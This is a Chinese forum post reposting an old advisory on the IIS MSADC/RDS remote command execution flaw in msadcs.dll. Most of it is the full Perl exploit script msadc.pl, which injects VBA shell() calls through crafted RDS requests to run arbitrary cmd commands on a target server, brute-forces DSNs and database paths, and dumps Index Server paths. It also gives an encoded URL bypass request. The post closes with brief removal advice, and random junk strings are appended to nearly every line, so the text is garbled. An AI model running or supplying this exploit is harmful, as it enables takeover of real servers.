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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) 8/gA]I 6=#  
K4U_sCh#f  
涉及程序:  KEPNe(H  
Microsoft NT server *3@ =XY7  
(sDZ&R  
描述: vd{ban9  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 'Hf+Y/`  
<DR$WsDG  
详细: G'#Uzwo  
如果你没有时间读详细内容的话,就删除: ]Xm+-{5?!R  
c:\Program Files\Common Files\System\Msadc\msadcs.dll ExKyjWAJ  
有关的安全问题就没有了。 ly9tI-E  
Nhf@Y}Cu  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 e92,@  
NdxPC~Z+  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 6K7DZ96L  
关于利用ODBC远程漏洞的描述,请参看: unvS`>)Np  
>p*7)  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 5FMe&  
xyzYY}PS  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 2p %j@O  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp M!tR>NMH  
_~Id~b  
这里不再论述。 GHWt3K:*w  
@b&_xT  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: um,G^R   
^vw[z2"  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset 4$oDq  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! TTagZI$  
P(xgIMc H  
Se}&2 R  
#将下面这段保存为txt文件,然后: "perl -x 文件名" nPW=m`jG  
qx5jaa3  
#!perl W\EvMV"  
# 4|/}~9/  
# MSADC/RDS 'usage' (aka exploit) script 8hV>Q  
# xp*Wf#BF  
# by rain.forest.puppy A1Es>NK[qW  
# XOL_vS24  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me Suo%uD  
# beta test and find errors! U6?3 z  
`T,^os#6  
use Socket; use Getopt::Std; 7I/a  
getopts("e:vd:h:XR", \%args); )">uI\bi  
oM^VtH=>  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; >PYc57S1c  
}D]y -BbA.  
if (!defined $args{h} && !defined $args{R}) { * ,L e--t  
print qq~ PR3i}y>  
Usage: msadc.pl -h <host> { -d <delay> -X -v } 6o.Dgt/f  
-h <host> = host you want to scan (ip or domain) ntxaFVD  
-d <seconds> = delay between calls, default 1 second Nt,:`o |  
-X = dump Index Server path table, if available IOddu2.(  
-v = verbose 0" F\ V  
-e = external dictionary file for step 5 %bp'`B=  
qTz5P  
Or a -R will resume a command session SFjRSMi  
f"-3'kqo  
~; exit;} GJ\bZ"vDo  
/$d #9Uv  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; Y )68  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} )YVs=0j  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} $sFqMy  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); #AH gY.  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} l0r^LK$  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } B{K_?ae!  
g;~$xXn  
if (!defined $args{R}){ $ret = &has_msadc; .U#oN_D  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} P>EG;u@.  
Gs/G_E(T  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" SveP:uJA[  
. "cmd /c "; %O9P|04]3  
$in=<STDIN>; chomp $in; gI/ SA  
$command="cmd /c " . $in ; gb=tc`  
q{}U5(,{0  
if (defined $args{R}) {&load; exit;} ?aQVaw&L!7  
rRX F@  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; -amNz.`[PR  
&try_btcustmr; 8dh ?JqX  
&,QBJx<#  
print "\nStep 2: Trying to make our own DSN..."; gm$<U9L\v  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; =, 64Qbau  
&`}d;r|yn1  
print "\nStep 3: Trying known DSNs..."; yu jv^2/  
&known_dsn; A |P wm`  
z(#CO<C.t  
print "\nStep 4: Trying known .mdbs..."; _xM}*_<VP  
&known_mdb; Lh-+i  
Tdxc%'l  
if (defined $args{e}){ )_kU,RvZ  
print "\nStep 5: Trying dictionary of DSN names..."; m'KEN<)s  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } ll ^I ;o0  
a|ZJzuqo  
print "Sorry Charley...maybe next time?\n"; v2ab84 C*  
exit; ,Vy_%f  
$\aJ.N6rb  
############################################################################## 4|hfzCjMI  
7g4IAsoD  
sub sendraw { # ripped and modded from whisker ~X-v@a  
sleep($delay); # it's a DoS on the server! At least on mine... F!RP *  
my ($pstr)=@_; &<Fw  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || #iT3 aou  
die("Socket problems\n");  Cy5M0{  
if(connect(S,pack "SnA4x8",2,80,$target)){ b2^O$ l  
select(S); $|=1; c3)6{  
print $pstr; my @in=<S>; }-@h H(  
select(STDOUT); close(S); $e%m=@ga  
return @in; RijFN.s  
} else { die("Can't connect...\n"); }} R=C+]  
"d*-k R  
############################################################################## =.IAd< C  
)%q )!x  
sub make_header { # make the HTTP request 7Q|v5@;pU  
my $msadc=<<EOT .X"\ Mg  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 ^@$T>SB1  
User-Agent: ACTIVEDATA |H%,>r`9S  
Host: $ip VO<P9g$UD  
Content-Length: $clen ~Efi|A/  
Connection: Keep-Alive C}71SlN'M  
EdCcnl?R6  
ADCClientVersion:01.06 SpM Hq_MLM  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 36d6KS 7  
yW;]J8 7*  
--!ADM!ROX!YOUR!WORLD! ~"cqFdnO  
Content-Type: application/x-varg ,[u.5vC  
Content-Length: $reqlen lGEfI&1%!  
17lc5#^L  
EOT Aj+0R?9tG  
; $msadc=~s/\n/\r\n/g; : n\D  
return $msadc;} 5ZjM:wrF|  
RCMO?CBe  
############################################################################## ,ysn7Y{Y  
oYX#VX  
sub make_req { # make the RDS request mW#p&{  
my ($switch, $p1, $p2)=@_; :+ AqY(Gz  
my $req=""; my $t1, $t2, $query, $dsn; ~Dj_N$_+9  
Lmc"q FzK  
if ($switch==1){ # this is the btcustmr.mdb query tj:>o#D  
$query="Select * from Customers where City=" . make_shell(); O*1la/~m  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . u:>*~$f   
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} ?ehUGvV2  
(y?`|=G-xT  
elsif ($switch==2){ # this is general make table query y<)q;fI7  
$query="create table AZZ (B int, C varchar(10))"; )C>M74Bt  
$dsn="$p1";} b\+9#)Up@  
GTW5f  
elsif ($switch==3){ # this is general exploit table query k&o1z'<C  
$query="select * from AZZ where C=" . make_shell(); gP=@u.  
$dsn="$p1";} Gx-tPW}  
IJ6&*t wT  
elsif ($switch==4){ # attempt to hork file info from index server t8B==%  
$query="select path from scope()"; %M-B"#OB7  
$dsn="Provider=MSIDXS;";} ys9MV%*  
Es+BV+x[.c  
elsif ($switch==5){ # bad query 'In qa;TQz  
$query="select"; 88+J(^y>  
$dsn="$p1";} r%II` i  
CQ#%v%  
$t1= make_unicode($query); 5x}Or fDU  
$t2= make_unicode($dsn); v H vwH  
$req = "\x02\x00\x03\x00"; Nk shJ2  
$req.= "\x08\x00" . pack ("S1", length($t1)); X-5&c$hv  
$req.= "\x00\x00" . $t1 ; 6M@m`c  
$req.= "\x08\x00" . pack ("S1", length($t2)); Zc*gRC  
$req.= "\x00\x00" . $t2 ; ^4tz*i  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; ]|/\Sd  
return $req;} !Baq4V?KN  
vU, ]UJ}  
############################################################################## } mEsb?  
x2z%J,z@4  
sub make_shell { # this makes the shell() statement >=ng?  
return "'|shell(\"$command\")|'";} g/x\#W  
/qO?)p3gk  
############################################################################## EXT_x q  
+#g?rCz  
sub make_unicode { # quick little function to convert to unicode &;oWmmvz{  
my ($in)=@_; my $out; 0V?:5r<  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } -_~T;cj6  
return $out;} 6Er%td)f  
\:91BQP c  
############################################################################## ] 73BJ  
VTxLBFK;  
sub rdo_success { # checks for RDO return success (this is kludge) qGKQrb,K  
my (@in) = @_; my $base=content_start(@in); FrD,)Ad8Q  
if($in[$base]=~/multipart\/mixed/){ ahm@ +/2  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} 2~SjRIpUw  
return 0;} j!QP>AM|`  
vq*)2.  
############################################################################## Zk n1@a  
1R"ymWg"  
sub make_dsn { # this makes a DSN for us HtGGcO'bqg  
my @drives=("c","d","e","f"); R(F+Xg je  
print "\nMaking DSN: "; @d=4C{g%o  
foreach $drive (@drives) { zmh3 Qa(  
print "$drive: "; U)gr C8 C  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . *dm?,~f%<  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" C6(WnO{6  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); (eJYv: ^  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; -4'yC_8t  
return 0 if $2 eq "404"; # not found/doesn't exist KRh95B GU  
if($2 eq "200") { IBr|A  
foreach $line (@results) { 4).>b3OhX  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} ~F9WR5}]  
} return 0;} ^ql+l~  
3ws}E6\D  
############################################################################## J2adA9R/,  
kQMALS@R  
sub verify_exists { N5:muh \  
my ($page)=@_; B0}f,J\  
my @results=sendraw("GET $page HTTP/1.0\n\n");  mH*6Q>  
return $results[0];} #35@YMF  
6dq*ncNin  
############################################################################## CGkCLd*s]  
0`dMT>&I  
sub try_btcustmr { o`]u&  
my @drives=("c","d","e","f"); !{L`Zd;C>w  
my @dirs=("winnt","winnt35","winnt351","win","windows"); +yd(t}H@  
BKQI|i  
foreach $dir (@dirs) { -wjvD8fL  
print "$dir -> "; # fun status so you can see progress UP}5Eh  
foreach $drive (@drives) { yp:_W@  
print "$drive: "; # ditto ONw;NaE,  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; jPf*qe>U  
$reqlenlen=length( "$reqlen" ); ?4i:$.A Y  
$clen= 206 + $reqlenlen + $reqlen; 4#BoS9d2I<  
)R`w{V  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); X#*|_(^  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} ;n,@[v  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} @dj 2#  
P7i G,i  
############################################################################## px1{=~V/  
^N5BJ'[F:  
sub odbc_error { H#B~ h4#  
my (@in)=@_; my $base; RuHMD"  
my $base = content_start(@in); 9(( QSX  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this aGY F\7  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Q@-7{3  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; RjS&^u aP  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; n(#159pZ  
return $in[$base+4].$in[$base+5].$in[$base+6];} -S"$S16D  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; N{<=s]I%x  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . s]=s|  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} ;h"?h*}m!\  
,HFoy-Yq  
############################################################################## }#/,nJm'  
v"6ij k&(  
sub verbose { eSgCS*}0$z  
my ($in)=@_; @P^8?!i+  
return if !$verbose; 0=r.I}x  
print STDOUT "\n$in\n";} RqIic\aD  
/f7Fv*z/  
############################################################################## `"<} B"s  
6/Coi,om  
sub save { &1DU]|RoT&  
my ($p1, $p2, $p3, $p4)=@_; 5Q.bwl:  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; ^rc!X]C9  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; !v2D 18(  
close OUT;} pA*cF!tq 7  
/f9jLY +  
############################################################################## @i9T),@  
5]&vs!wH  
sub load { =_`4HDr  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; 0~\Dd0W/:`  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); 9@-^! DBM  
@p=<IN>; close(IN); |"Js iT  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); + (cTzY  
$target= inet_aton($ip) || die("inet_aton problems"); -VESe}c:nQ  
print "Resuming to $ip ..."; mk;l;!*T8  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; zhDmZ  
if($p[1]==1) { hY.zwotH  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; |-hzvuSX  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; #KonVM(`  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); f.`noZN  
if (rdo_success(@results)){print "Success!\n";} T6|zT}cb  
else { print "failed\n"; verbose(odbc_error(@results));}} O7shY4Sr  
elsif ($p[1]==3){ T3o}%wGW  
if(run_query("$p[3]")){ 'Dq!o[2y  
print "Success!\n";} else { print "failed\n"; }} 7B$iM,}.b  
elsif ($p[1]==4){  ?6!7fs,  
if(run_query($drvst . "$p[3]")){ (L?fYSP!  
print "Success!\n"; } else { print "failed\n"; }} yFT)R hN  
exit;} "$? f&*  
?#^_yd|<  
############################################################################## Z4Nl{  6  
bGvALz'  
sub create_table { V@Z8t8  
my ($in)=@_; $up.< qzj  
$reqlen=length( make_req(2,$in,"") ) - 28; 8Hf!@p6R+  
$reqlenlen=length( "$reqlen" ); xS` %3+|  
$clen= 206 + $reqlenlen + $reqlen; bmEo5f~C!  
my @results=sendraw(make_header() . make_req(2,$in,"")); {|%N  
return 1 if rdo_success(@results); %v\0Dm+A  
my $temp= odbc_error(@results); verbose($temp); ;%Jw9G\h  
return 1 if $temp=~/Table 'AZZ' already exists/; U3 e3  
return 0;} +k'5W1e  
) =<,$|g  
############################################################################## w<*tbq  
> _1*/o JO  
sub known_dsn { zxtx~XO  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go cjU*  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", c<j2wKz  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", u0^: XwZ!  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); yAoJ?<4^W  
:luVsQ  
foreach $dSn (@dsns) { h5&l#>8&  
print "."; LoLmT7  
next if (!is_access("DSN=$dSn")); 8oG0tX3i  
if(create_table("DSN=$dSn")){ 0l6z!@GhT  
print "$dSn successful\n"; -DrR6kGjR  
if(run_query("DSN=$dSn")){ x-k}RI  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ?5nF` [rx  
print "Something's borked. Use verbose next time\n";}}} print "\n";} e%&2tf4  
SUXRWFl  
############################################################################## T^8t<S@`  
iK6L\'k  
sub is_access { d_*'5Eia6  
my ($in)=@_; F kp;G  
$reqlen=length( make_req(5,$in,"") ) - 28; lvIKL!;H  
$reqlenlen=length( "$reqlen" ); <jT6|2'  
$clen= 206 + $reqlenlen + $reqlen; K*Zf^g m  
my @results=sendraw(make_header() . make_req(5,$in,"")); #CoJ S[t  
my $temp= odbc_error(@results); %^m6Q!  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); &dZ-}. af  
return 0;} a3 <D1"  
o~,dkV  
############################################################################## cA1"Nek  
1vBR\!d?7  
sub run_query { * c] :,5  
my ($in)=@_; D0tmNV@  
$reqlen=length( make_req(3,$in,"") ) - 28; *z`_U]tP  
$reqlenlen=length( "$reqlen" ); h8oG5|Y  
$clen= 206 + $reqlenlen + $reqlen; $ +;`[b   
my @results=sendraw(make_header() . make_req(3,$in,"")); @CU3V+  
return 1 if rdo_success(@results); _niXl&C  
my $temp= odbc_error(@results); verbose($temp); OWFLw  
return 0;} pq7G[  
q4<3 O"c1  
############################################################################## kJqgY|  
Qwb=N  
sub known_mdb { n4+l, ~  
my @drives=("c","d","e","f","g"); 0.C y4sH'  
my @dirs=("winnt","winnt35","winnt351","win","windows"); _rXTHo7P  
my $dir, $drive, $mdb; Tm5]M$)  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; 9D:p~_"g  
}<o.VY&;.  
# this is sparse, because I don't know of many [k.|iCD  
my @sysmdbs=( "\\catroot\\icatalog.mdb", S,Boutd  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", " 4#V$V  
"\\system32\\certmdb.mdb", 1HG~}E  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% v!T%xUb0  
>tnQuFKg]  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", zRdL-u%(#  
"\\cfusion\\cfapps\\forums\\forums_.mdb", 3'6%P_S  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", &Vfdq6Y]  
"\\cfusion\\cfapps\\security\\realm_.mdb", 4[|^78  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", *SQ hXTn  
"\\cfusion\\database\\cfexamples.mdb", ~h 6aw  
"\\cfusion\\database\\cfsnippets.mdb", Eym<DPu$n  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", hm>JBc:n-  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", `uy)][j-  
"\\cfusion\\brighttiger\\database\\cleam.mdb", ulV)X/]1  
"\\cfusion\\database\\smpolicy.mdb", xz5Jli  
"\\cfusion\\database\cypress.mdb", jXkz,]Iy  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", F6R+E;"4R'  
"\\website\\cgi-win\\dbsample.mdb", 5\}A8Ng  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", -! Hn,93  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" L6Ykv/V  
); #these are just HDZB)'I  
foreach $drive (@drives) { -;cZW.<  
foreach $dir (@dirs){ C1^=se  
foreach $mdb (@sysmdbs) { 7A?~a_Ep  
print "."; 1GKd*z  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ [!p>Id  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; -?`^^ v  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ = ;#?CAa:  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; DVt;I$  
} else { print "Something's borked. Use verbose next time\n"; }}}}} An!1>`8r  
2Jl6Xc8  
foreach $drive (@drives) { x?Doe`/6?  
foreach $mdb (@mdbs) { E&P'@'Yk  
print "."; NL 3ri7n  
if(create_table($drv . $drive . $dir . $mdb)){ .5'M^  
print "\n" . $drive . $dir . $mdb . " successful\n"; 3JM0 m (  
if(run_query($drv . $drive . $dir . $mdb)){ !`L%wS  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; 0Lmq?D  
} else { print "Something's borked. Use verbose next time\n"; }}}} .)o<'u@Ri  
} T;qP"KWZ  
/) Bk r/  
############################################################################## -jdS8n4  
HtB>#`'  
sub hork_idx { 0]=|3-n  
print "\nAttempting to dump Index Server tables...\n";  -iWt~  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; z^+f3-Z  
$reqlen=length( make_req(4,"","") ) - 28; j'FSd*5m  
$reqlenlen=length( "$reqlen" ); ;rYL\`6L  
$clen= 206 + $reqlenlen + $reqlen; 1=gE ,k5H  
my @results=sendraw2(make_header() . make_req(4,"","")); <7R\ #  
if (rdo_success(@results)){ A ><  
my $max=@results; my $c; my %d; u8L%R[#o  
for($c=19; $c<$max; $c++){ P2pdXNV  
$results[$c]=~s/\x00//g;  i1$ $86  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; G=Hvh=K(  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; OAO|HH  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; FIhq>L.q4  
$d{"$1$2"}="";} t?f2*N :  
foreach $c (keys %d){ print "$c\n"; } + X(@o  
} else {print "Index server doesn't seem to be installed.\n"; }} U/9xO"b{.  
68JYA?  
############################################################################## Bee`Pp2  
gKoB)n<[  
sub dsn_dict { O4J <u-E$  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); ~``oKiPg@  
while(<IN>){ +U{8Mj  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; cO%-Av~P  
next if (!is_access("DSN=$dSn")); 2\80S[f  
if(create_table("DSN=$dSn")){ }A,9`  
print "$dSn successful\n"; AL@8v=  
if(run_query("DSN=$dSn")){ VWf&F`^B(  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { <y[LdB/a  
print "Something's borked. Use verbose next time\n";}}} 4\ R2\  
print "\n"; close(IN);} -l)vl<}  
[Ak L6  
############################################################################## KGb:NQ=O6i  
.Qk T-12  
sub sendraw2 { # ripped and modded from whisker ))m\d*  
sleep($delay); # it's a DoS on the server! At least on mine... RQhS]y@e  
my ($pstr)=@_; =p~k5k4  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || tb36c<U-  
die("Socket problems\n"); \6A Yx[|  
if(connect(S,pack "SnA4x8",2,80,$target)){ hB/4.K]8  
print "Connected. Getting data"; a!rU+hiC  
open(OUT,">raw.out"); my @in; __N< B5E  
select(S); $|=1; print $pstr; -P#PyZEH&I  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} Ahl-EVIr<  
close(OUT); select(STDOUT); close(S); return @in; .kKU MyW(  
} else { die("Can't connect...\n"); }} tN P>6F/  
+l'l*<  
############################################################################## ]S!:p>R  
M ,!Dhuas  
sub content_start { # this will take in the server headers 7L3:d7=MIW  
my (@in)=@_; my $c; DmzK* O{  
for ($c=1;$c<500;$c++) { mY6d+  
if($in[$c] =~/^\x0d\x0a/){ 0?c2=Y   
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } WOBLgM,|  
else { return $c+1; }}}  *-Y`7=^$  
return -1;} # it should never get here actually ZYRZ$87jZ  
e=uElp'%  
############################################################################## C:z+8wt  
LB9D6,*t  
sub funky { oA/[>\y  
my (@in)=@_; my $error=odbc_error(@in); LFvO[&  
if($error=~/ADO could not find the specified provider/){ v'3.`aZ!  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; N8*6sK.  
exit;} RE)!b  
if($error=~/A Handler is required/){ { 3,_i66  
print "\nServer has custom handler filters (they most likely are patched)\n"; u}_,4J  
exit;} lGoP(ki  
if($error=~/specified Handler has denied Access/){ TOF_m$@#  
print "\nServer has custom handler filters (they most likely are patched)\n"; 4mHR+SZy  
exit;}} V9KI?}q:W  
5PF?Eq   
############################################################################## b;Nm$`2  
U-^qVlw  
sub has_msadc {  vVvx g0  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); _{Z!$q6,  
my $base=content_start(@results); `Xs3^FJt  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); a ]~Rp  
return 0;} ]'IZbx:  
DA=#T2)p  
######################## /%&Kbd  
HKB?G~  
q|7i6jq\*R  
解决方案: zEM  c)  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll {L6@d1u  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 UTWchh  
E5 ;6ks)  
拿出来充数 哈哈
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